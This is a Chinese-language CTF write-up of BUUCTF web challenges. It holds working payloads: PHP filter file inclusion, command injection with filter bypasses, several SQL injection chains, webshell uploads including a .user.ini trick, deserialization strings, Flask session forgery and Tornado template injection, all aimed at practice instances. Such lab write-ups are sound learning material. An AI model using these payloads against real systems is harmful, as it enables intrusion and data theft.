buuctf Web 刷题记录 1

参考:

命令执行漏洞利用及绕过方式总结

SSTI模版注入

flask 源码解析:session

客户端 session 导致的安全问题

PHP中MD5常见绕过

[ACTF2020 新生赛]Include

点击hint后发现地址栏处有file=flag.php,故构造payload

http://ae8bac3b-f39b-4695-b09d-2906050c1289.node4.buuoj.cn:81/?file=php://filter/read=convert.base64-encode/resource=flag.php

得到flag.php的base64编码

PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7ZTIyMWQyMzQtYThjNi00NzMyLTg2YzQtZWQzMTMxMzJlZGM0fQo=

解码即可得到flag

<?php
echo "Can you find out the flag?";
//flag{e221d234-a8c6-4732-86c4-ed313132edc4}

[ACTF2020 新生赛]Exec

尝试命令127.0.0.1|ls发现可以执行,于是构造payload为127.0.0.1|cat ../../../flag即可

[SUCTF 2019]EasySQL

方法1

堆叠注入获取信息

1;show databases; #爆出数据库
1;show tables; #爆出表名
1;show columns from Flag #发现被过滤用不了

因为回显是var_dump样式,当查询语句为纯数字的时候才回显,使用1,2,3,4,5进行测试发现原本查询唯独末尾的5变为了1,猜测是用到了管道符(| ||之类的),导致5回显失败。故使用1使得|或者是||失效即可。

e8e16f43c6ceb4f04afd49158db5317a.png

方法2

传入99;set sql_mode=PIPES_AS_CONCAT;select 0使得||作为字符操作符而不是执行或运算。

源码

<?php
session_start();

include_once "config.php";

$post = array();
$get = array();
global $MysqlLink;

//GetPara();
$MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
if(!$MysqlLink){
die("Mysql Connect Error!");
}
$selectDB = mysqli_select_db($MysqlLink,$dataName);
if(!$selectDB){
die("Choose Database Error!");
}

foreach ($_POST as $k=>$v){
if(!empty($v)&&is_string($v)){
$post[$k] = trim(addslashes($v));
}
}
foreach ($_GET as $k=>$v){
}
}
//die();
?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>

<?php

if(isset($post['query'])){
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile
|readfile|where|from|union|update|delete|if|sleep|extractvalue|
updatexml|or|and|&|\"";
//var_dump(preg_match("/{$BlackList}/is",$post['query']));
if(preg_match("/{$BlackList}/is",$post['query'])){
//echo $post['query'];
die("Nonono.");
}
if(strlen($post['query'])>40){
die("Too long.");
}
$sql = "select ".$post['query']."||flag from Flag";
mysqli_multi_query($MysqlLink,$sql);
do{
if($res = mysqli_store_result($MysqlLink)){
while($row = mysqli_fetch_row($res)){
print_r($row);
}
}
}while(@mysqli_next_result($MysqlLink));

}

?>

[极客大挑战 2019]Secret File

查看源码发现Archive_room.php,紧接着点击进入action.php,发现会自动跳转到end.php,故使用burp抓包可以得到 secr3t.php,访问后得到源码

<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>

直接访问无法读取内容,故以base64编码方式读取源码,解码后得到flag。

http://f3925568-2385-4077-988b-ba86518a9ac0.node4.buuoj.cn:81/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

[GXYCTF2019]Ping Ping Ping

使用?ip=1|ls查看目录下文件,然后用?ip=1|cat$IFS$1index.php得到源码

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "

";
print_r($a);
}

?>

构造payload执行后查看源码即可得到flag。

#base64编码
http://edccc6cc-6b6c-4081-aae7-638533e910d7.node4.buuoj.cn:81/?ip=1|echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
#拼接绕过re
http://edccc6cc-6b6c-4081-aae7-638533e910d7.node4.buuoj.cn:81/?ip=1;i=g;cat$IFS$1fla$i.php

[极客大挑战 2019]LoveSQL

F12审计代码发现是通过check.php验证get请求,尝试后发现用户名使用了''且密码使用了""处理,尝试使用万能密码登录

#爆出密码9fa5459ff2ff5f4584bd0f2a58c5e67
http://a4bd697d-72dc-42fa-9388-69687fa5534e.node4.buuoj.cn:81/check.php?username=admin' or '1=1&password=admin

爆出密码后尝试md5解密发现不对,继续sql注入

#发现有3个字段
http://a4bd697d-72dc-42fa-9388-69687fa5534e.node4.buuoj.cn:81/check.php?username=admin' order by 4%23&password=admin
#查看数据库和版本(geek,10.3.18-MariaDB)
http://a4bd697d-72dc-42fa-9388-69687fa5534e.node4.buuoj.cn:81/check.php?username=-1' union select 1,database(),version()%23&password=admin
#爆表(geekuser,l0ve1ysq1)
http://a4bd697d-72dc-42fa-9388-69687fa5534e.node4.buuoj.cn:81/check.php?username=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='geek'%23&password=admin
#爆列(id,username,password)
http://a4bd697d-72dc-42fa-9388-69687fa5534e.node4.buuoj.cn:81/check.php?username=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1'%23&password=admin
#爆密码获得flag
http://a4bd697d-72dc-42fa-9388-69687fa5534e.node4.buuoj.cn:81/check.php?username=-1' union select 1,group_concat(password),3 from l0ve1ysq1%23&password=admin

[极客大挑战 2019]Knife

蚁剑直接连,密码是Syc

[极客大挑战 2019]Http

F12发现存在Secret.php

访问后发现It doesn't come from 'https://Sycsecret.buuoj.cn',故用burp抓包修改Referer

发现提示要使用Syclover browser,故修改User-Agent

发现要从本地访问,故修改X-Forwarded-For:,最终得到flag

24b3af12dcc7500fb4cf10f9d59afa95.png

[极客大挑战 2019]Upload

访问http://0ff1b314-797b-4c30-87dd-a290016743a5.node4.buuoj.cn:81/upload/即可看到上传的文件,发现其中有.phtml后缀的文件,故抓包上传一句话木马

60a06a2b61e800d1e7cf350579dd6c2c.png

上传后post传输attack=system('cat /flag');即可。

[ACTF2020 新生赛]Upload

黑名单过滤,抓包修改后缀为.phtml即可

[极客大挑战 2019]BabySQL

过滤了一些关键字,采用双写绕过

#查看当前库
http://f2e0cf42-dbf4-456f-a911-f361f830440d.node4.buuoj.cn:81/check.php?username=1&password=1'ununionion seselectlect 1,2,database()%23
#爆库 ctf
http://f2e0cf42-dbf4-456f-a911-f361f830440d.node4.buuoj.cn:81/check.php?username=1&password=1'ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata%23
#爆表 Flag
http://f2e0cf42-dbf4-456f-a911-f361f830440d.node4.buuoj.cn:81/check.php?username=1&password=1'ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf'%23
#爆列 flag
http://f2e0cf42-dbf4-456f-a911-f361f830440d.node4.buuoj.cn:81/check.php?username=1&password=1'ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='Flag'%23
#爆内容
http://f2e0cf42-dbf4-456f-a911-f361f830440d.node4.buuoj.cn:81/check.php?username=1&password=1'ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag%23

[RoarCTF 2019]Easy Calc

访问calc.php可以看到部分源码,利用num进行传参,在num前添加空格可以绕过注释所说的waf

#列出文件 var_dump(scandir(/))
http://node4.buuoj.cn:28694/calc.php? num=var_dump(scandir(chr(47)))

#读取flag file_get_contents(/f1agg)
http://node4.buuoj.cn:28694/calc.php? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

scandir()返回指定目录中的文件和目录的数组
scandir(/)相当于ls /
var_dump()相当于echo

[极客大挑战 2019]PHP

访问www.zip获取备份文件,index.php中有如下代码

<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

故可能存在反序列化漏洞,查看class.php,构造反序列化字符串

$a = new Name('admin',100);
echo urlencode(serialize($a)).PHP_EOL;

最后的payload注意将属性个数的值大于实际属性个数,这样来绕过_wakeup函数

http://a0fdf051-a2ba-4c99-b18a-b865bd40854b.node4.buuoj.cn:81/?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

之所以使用urlencode,是因为输出结果中Name和username,Name和password之间是有不可见字符的,因为private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上ascii为0的字符(不可见字符)。

[ACTF2020 新生赛]BackupFile

访问/index.php.bak获取源码

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

传入参数/index.php?key=123即可。

[护网杯 2018]easy_tornado

尝试访问/file?filename=/fllllllllllllag&filehash=7fd8270fd39d39b0929871611f8ae16c,跳转网页/error?msg=Error

网上搜索tornado框架漏洞,访问/error?msg={{handler.settings}}得到

{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'bb8b6eb6-7da3-40d4-a2b9-1fe70b347cfd'} 

根据hints.txt中的公式md5(cookie_secret+md5(filename))获取hash值

<?php
echo md5('bb8b6eb6-7da3-40d4-a2b9-1fe70b347cfd'.md5('/fllllllllllllag'));
//40b1b5314c975858de339d17ea5c5327
?>

构造payload

/file?filename=/fllllllllllllag&filehash=40b1b5314c975858de339d17ea5c5327

tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。

[极客大挑战 2019]BuyFlag

通过首页右上角菜单进入pay.php,查看源码后在最底部发现一段被注释代码

<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
-->

修改cookieuser参数确保a student from CUIT,post请求传递money以及password,构造exp

import requests
import os
import re

url = "http://e57bb518-ccb6-4799-85a0-4be6f2483e5c.node4.buuoj.cn:81/pay.php"
data = {
'password':'404a',
'money[]':'100000000', #用数组绕过,不然会提示长度过长
}
headers = {
'Cookie' :'td_cookie=1001369429;user=1'
}
response = requests.post(url=url,headers=headers,data=data)
# print(response.text)
print(re.findall('flag{.*?}',response.text)[0])

也可以直接用hackbar

7e34ec20a72163fa01c9b4ace82753c2.png

[HCTF 2018]admin

法一 弱口令

尝试了下用户名admin和密码123发现直接登陆成功获得flag了。。。

法二 flask session伪造

注册帐号登陆后在change页面发现源码地址

<!-- https://github.com/woadsl1234/hctf_flask/ -->

config.py中发现SECRET_KEY值为ckj123,然后查看自身session

.eJxFkE9rwkAQxb9K2bOH_LEXwYMlm5DCzLKym5C9iDbRZJK1kETUFb97FwvtaXj8Zt7w3oPtjmMztWw1j5dmwXZdzVYP9nZgKyYSeQdXDEB6aSz2YHUslL6BSztDaJE-BqFkiIl0oCAAdYqg5FdjtcOSB2D5zai0NVa-i8TvO7iKMo-BTkFFBVVeY7KlSulAZCmZMiVUbYuUh0D-g6o94xG6zdIoeYWMx-C0n9p7mx4zfccoD9DqNXsu2Nc0Hnfzd9-c_yJUrh4q8qdUd5B8DlVZWGMhBJdHQDLGrBhEWZBJdGSIh-hMD3L9suvs_tT8l8HTfLv5Jee99YDNzTSzBbtMzfiqjYUBe_4AXrRs8w.YqfSfQ.q8V8VQqzgvXkoXOw-HI4HWl5qGQ

使用大佬的脚本解密

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)

if __name__ == '__main__':
# print(decryption(sys.argv[1].encode()))
session = '.eJxFkE9rwkAQxb9K2bOH_LEXwYMlm5DCzLKym5C9iDbRZJK1kETUFb97FwvtaXj8Zt7w3oPtjmMztWw1j5dmwXZdzVYP9nZgKyYSeQdXDEB6aSz2YHUslL6BSztDaJE-BqFkiIl0oCAAdYqg5FdjtcOSB2D5zai0NVa-i8TvO7iKMo-BTkFFBVVeY7KlSulAZCmZMiVUbYuUh0D-g6o94xG6zdIoeYWMx-C0n9p7mx4zfccoD9DqNXsu2Nc0Hnfzd9-c_yJUrh4q8qdUd5B8DlVZWGMhBJdHQDLGrBhEWZBJdGSIh-hMD3L9suvs_tT8l8HTfLv5Jee99YDNzTSzBbtMzfiqjYUBe_4AXrRs8w.YqfSfQ.q8V8VQqzgvXkoXOw-HI4HWl5qGQ'
print(decryption(session.encode()))

获得以下信息

{'_fresh': True, '_id': b'84235e258fcd2e795131bf3f60e9454431341861a0fe35a42a1e1afd983f7309b7284b5cc3044ca548aceac58a62526c57ca16708e400a73500e42fd4e27b46e', 'csrf_token': b'c7eb4027b02eaeffc53262474ee9ecd56f1576d1', 'image': b'8AHD', 'name': 'test', 'user_id': '10'}

修改其中nameadmin,并使用session工具进行加密(secret_key可以在)

python flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'84235e258fcd2e795131bf3f60e9454431341861a0fe35a42a1e1afd983f7309b7284b5cc3044ca548aceac58a62526c57ca16708e400a73500e42fd4e27b46e', 'csrf_token': b'c7eb4027b02eaeffc53262474ee9ecd56f1576d1', 'image': b'8AHD', 'name': 'admin', 'user_id': '10'}"

获得加密后的session

.eJxFkM1rwkAQxf-VMmcP-bAXwYMlH6Qws6zsJmQvok00mWQtREVd8X_vYqE9DY_fzBvee8BmP7WnDhbn6dLOYNM3sHjA2w4WIBJ5R1eOyHpuLA1odSyUvqHLesNkiT9GoWRIiXSoMEB1iLBKr8ZqR1UaoE1vRmWdsfJdJH7f4VVURYx8CGouufaakjXXSgciz9hUGZPqOuIiRPYfVONZGpFbzY2SV8zTGJ32U3tvM1Cu7xQVAVm9hOcMvk7TfnP-HtrjX4TaNWPN_pSbHpPPsa5KayyG6IoIWcaUl6OoSjaJjgynITkzoFy-7Hq7PbT_ZaRZsV79kuPWegDbxvZHmMHl1E6v3iAM4PkDy4ptPA.YqfTiA.v_KfECOg4L_7siBugo4wDmZ7Qh0

用burp发包即可

b9bc41d1864208f98c0bd431f61112b0.png

法三 Unicode欺骗

使用ᴬᴰᴹᴵᴺ注册账户,然后就可以登录。登录成功后显示你用户名为ADMIN,然后修改密码,此时其实是把admin的密码修改了,然后登录admin即可。主要是利用了registerchange里面的漏洞,会把输入字符转化成小写。

参考:CTF学习笔记——[HCTF 2018]admin

[BJDCTF2020]Easy MD5

使用burp抓包发现hint

cb8b462b474b2a4106b805b7706100ff.png

select * from 'admin' where password=md5($pass,true)

输入ffifdyop进入下一关,

ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or ‘6,而 Mysql 刚好又会吧 hex 转成 ascii 解释,因此拼接之后的形式是

select * from 'admin' where password='' or '6xxxxx'

总结下3个常用的:ffifdyop;e58;611686052576742364;

等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数

发现源码

$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.

构造payload

http://16daade5-17e1-4422-b3e6-ac4f89b74c42.node4.buuoj.cn:81/levels91.php?a[]=1&b[]=2

得到源码

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}

这里post请求使用数组绕过即可获得flag

这里若是修改判断条件为

(string)$_POST['param1'] !== (string)$_POST['param2'] && 
md5($_POST['param1']) === md5($_POST['param2']))

这样不可以用数组绕过,但可以采用MD5碰撞,也就是不同字符串但是MD5后值相同的情况

<?php
$s1 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab";
$s2 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab";
$s3 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%ed%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%a7%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%e6%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%16%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%33%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%6f%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab";
var_dump(md5(urldecode($s2))===md5(urldecode($s3)));
?>

[ZJCTF 2019]NiZhuanSiWei

打开题目获得源码

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

构造payload读取useless.php文件内容

php://input :/?text=php://input,然后使用bp进行post传递要读取的内容

php://filter :file=php://filter/read=convert.base64-encode/resource=useless.php

data:// :?text=data:text/plain,welcome to the zjctf

?text=data:text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

获得源码

<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

构造payload输入后查看源码即可获取flag

/?text=data:text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

[极客大挑战 2019]HardSQL

空格和=号没有,所以我们要使用()来代替空格,使用like来代替=号

#得到数据库geek
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(database()))))%23
#得到数据表H4rDsq1
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23
#得到字段id,username,password
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23
#获取password字段内容
#左半段
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23
#右半段
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23
#两边拼接并且去掉重复内容即可得到flag

[MRCTF2020]你传你🐎呢

采用.htaccess绕过即可,参考本人博客upload-labspass-04即可上传成功。上传后用蚁剑连接,在根目录下即可找到flag。

[SUCTF 2019]CheckIn

传文件尝试发现报错有exif_imagetype:not image!,故需要修改文件头。

尝试后发现要使用.user.ini来绕过,文件内容为

GIF89a
auto_prepend_file=1.jpg

auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效)

尝试后发现还有报错<? in contents!,故使用该一句话木🐎(注意文件名要与.user.ini中一致,此处为1.jpg

GIF89a
<script language='php'>system('cat /flag');</script>

先上传.user.ini再上传1.jpg,最后访问图片所在上传目录的index.php文件即可得到flag。

[MRCTF2020]Ez_bypass

打开网页发现源码及提示

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}

}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first

428809e1acbf3710ab8f0c628ba88378.png

[网鼎杯 2020 青龙组]AreUSerialz

打开网页发现源码

<?php

include("flag.php");

highlight_file(__FILE__);//文件包含,注意使用php://filter伪协议读取文件

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {//弱比较
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

方法一

php7.1+的新特性,对属性类型不敏感,本地序列化的时候将protected属性改为public进行绕过。

<?php
class FileHandler {
public $op=2;
public $filename='php://filter/read=convert.base64-encode/resource=flag.php';
public $content=1;
}
$a = new FileHandler();
//echo urlencode(serialize($a)).PHP_EOL;
echo serialize($a);
?>
/?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";i:1;}

方法二

构造一个payload去执行read()函数,读取flag.php的内容。

(1)op,filename,content三个变量权限都是protected,而protected权限的变量在序列化的时会有%00*%00字符,%00字符的ASCII码为0,就无法通过上面的is_valid函数校验。利用大写S采用的16进制,来绕过is_valid中对空字节的检查。使用 //00 替换 %00

(2)强比较和弱比较的利用。将op设置为int型的2,op === “2”为false,op == “2”为true,绕过析构函数中的if判断,同时又可以调用到读文件的流程。

参考:Buuctf[网鼎杯 2020 青龙组]AreUSerialz

<?php
class FileHandler {
protected $op=2;
protected $filename='flag.php';
protected $content=1;
}
$a = new FileHandler();
$b = str_replace("s","S",urlencode(serialize($a)));
$b = str_replace("%00","\\00",$b);
echo $b;
?>
/?str=O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3BS%3A8%3A%22flag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3Bi%3A1%3B%7D

a875cdabaadd2a490bcb0e2ec50279cb.png

[GXYCTF2019]BabySQli

抓包发现有被注释的编码

<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->

先用base32解码,再用base64解码得到

select * from user where username = '$name'

尝试后发现()or=被禁用,构造post请求

#url
http://e4108c0f-ff96-443a-943e-fe487fdd84a4.node4.buuoj.cn:81/search.php
#data
name=a'union select '1','admin','eccbc87e4b5ce2fe28308fd9f2a7baf3'%23&pw=3

利用sqli的特性:在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。

题目源码

<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
